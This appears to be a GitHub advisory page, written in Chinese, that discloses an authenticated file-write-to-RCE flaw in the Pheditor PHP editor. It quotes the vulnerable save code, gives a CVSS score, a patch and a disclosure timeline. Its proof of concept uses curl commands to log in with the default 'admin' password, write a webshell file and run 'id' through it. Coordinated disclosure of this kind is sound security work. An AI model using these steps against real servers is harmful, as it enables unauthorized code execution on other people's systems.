Kimdir01/pheditor-file-write-rce-cve
GitHub: Kimdir01/pheditor-file-write-rce-cve
该仓库是 Pheditor PHP 文件编辑器任意文件写入导致远程代码执行漏洞的概念验证代码与分析报告。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## Pheditor 因不受限制的文件上传导致任意文件写入从而引发远程代码执行
### 公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包/产品** | Pheditor — PHP File Editor |
| **受影响版本** | 包括 commit `5e11e1a` 在内的所有版本 |
| **已修复版本** | 无 |
| **严重程度** | **高 (CVSS 8.8)** |
| **CWE** | CWE-434 (不受限制的文件上传) + CWE-94 (代码生成控制不当) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **代码库** | https://github.com/pheditor/pheditor |
| **星标** | 181 ⭐ |
### 概述
Pheditor 在其 `save` action 中存在任意文件写入漏洞。`$_POST['file']` 参数直接与 `MAIN_DIR` 拼接,并通过 `file_put_contents()` 写入攻击者可控的 `$_POST['data']`。通过身份验证的攻击者可以向 webroot 写入 PHP webshell,从而实现远程代码执行。默认凭据(`admin`/`admin`)进一步增加了其可利用性。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包** | pheditor/pheditor |
| **供应商** | pheditor |
| **受影响版本** | 所有 |
| **已修复版本** | 无 |
| **文件** | `pheditor.php`,第 349–357 行 |
### 描述
`pheditor.php` 中的 `save` action 将 `$_POST['file']` 直接与 `MAIN_DIR` 拼接,并将 `$_POST['data']` 写入生成的路径中。第 326 行存在 `../` 检查,但无法阻止向 webroot 写入 PHP 文件:
```
// Line 349-367: save action — both new and existing files
case 'save':
$file = MAIN_DIR . $_POST['file']; // ← user-controlled path
if (isset($_POST['file']) && isset($_POST['data']) &&
(file_exists($file) === false || is_writable($file))) {
// Branch 1: NEW FILE — no extension validation
if (file_exists($file) === false) {
if (in_array('newfile', $permissions) !== true) {
die(json_error('Permission denied', true));
}
file_put_contents($file, $_POST['data']); // ← WRITE PHP WEBSHELL
}
// Branch 2: EXISTING WRITABLE FILE — overwrite any writable file
else if (is_writable($file) === false) {
echo json_error('File is not writable');
} else {
if (in_array('editfile', $permissions) !== true) {
die(json_error('Permission denied'));
}
file_put_contents($file, $_POST['data']); // ← OVERWRITE ARBITRARY FILE
}
}
```
虽然存在 `../` 路径遍历检查(第 326 行),但 `$_POST['file']` 根本不需要进行路径遍历 —— `.php` 文件会被直接写入 `MAIN_DIR`(即 webroot)。
默认密码:`admin`(SHA-512 哈希值为 `c7ad44...`)。第 155 行会检查 `PASSWORD == hash('sha512', 'admin')` 并提示修改密码 —— 但许多用户仍使用默认配置部署。
### 概念验证
**环境:** Pheditor 部署于 `http://target/pheditor.php`。
**步骤 1 — 身份验证:**
```
curl -c /tmp/cookies -X POST "http://target/pheditor.php" \
--data "pheditor_password=admin"
# 默认密码: admin → 已创建 session
```
**步骤 2 — 写入 webshell:**
```
curl -b /tmp/cookies -X POST "http://target/pheditor.php" \
--data "action=save" \
--data "file=webshell.php" \
--data "data="
# 将 PHP webshell 写入 MAIN_DIR/webshell.php
```
**步骤 3 — 执行命令:**
```
curl "http://target/webshell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 影响
| CIA | 级别 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过 `open` action 读取任意文件 |
| 完整性 | **高** | 写入任意 PHP 文件 → 代码执行 |
| 可用性 | **高** | 覆盖/破坏应用程序文件 |
**CVSS 8.8** — 需要身份验证 (PR:L),但默认凭据广为人知。
### 补丁
验证文件扩展名并限制向允许的目录写入:
```
+ $allowed_ext = ['txt','md','html','css','js','json','xml'];
+ $ext = strtolower(pathinfo($_POST['file'], PATHINFO_EXTENSION));
+ if (!in_array($ext, $allowed_ext)) {
+ die(json_error('File type not allowed'));
+ }
file_put_contents($file, $_POST['data']);
```
### 验证
```
git clone https://github.com/pheditor/pheditor && cd pheditor
grep -n "file_put_contents.*file.*data" pheditor.php
# 输出: 349, 367 — 任意文件写入
grep -n "PASSWORD.*hash.*sha512.*admin" pheditor.php
# 输出: 155 — 默认密码检查
```
### 参考
| 类型 | URL |
|------|-----|
| 代码库 | https://github.com/pheditor/pheditor |
| 漏洞代码 (新建文件) | https://github.com/pheditor/pheditor/blob/master/pheditor.php#L349 |
| 漏洞代码 (编辑文件) | https://github.com/pheditor/pheditor/blob/master/pheditor.php#L358 |
| CWE-434 | https://cwe.mitre.org/data/definitions/434.html |
| CWE-94 | https://cwe.mitre.org/data/definitions/94.html |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — 8.8 HIGH
AV:N — Remote over HTTP
AC:L — Simple POST request, no special conditions
PR:L — Authentication required (default password: admin)
UI:N — No user interaction
S:U — Same security context
C:H — Read arbitrary files via open action
I:H — Write PHP webshell → code execution
A:H — Overwrite/destroy application files
```
### 贡献者
| 角色 | 姓名 |
|------|------|
| **发现者** | Fatullayev Asadbek |
| **报告者** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-27 | 发现漏洞 |
| 2026-06-27 | 本地验证确认 |
| 2026-06-27 | 通过私下披露通知供应商 |
| 待定 | 供应商确认/回复 |
| 待定 | 分配 CVE ID 并发布安全公告 |
| 待定 + 90 天 | 协调公开披露 |
标签:Maven, OpenVAS, PHP, RCE, 文件上传, 漏洞验证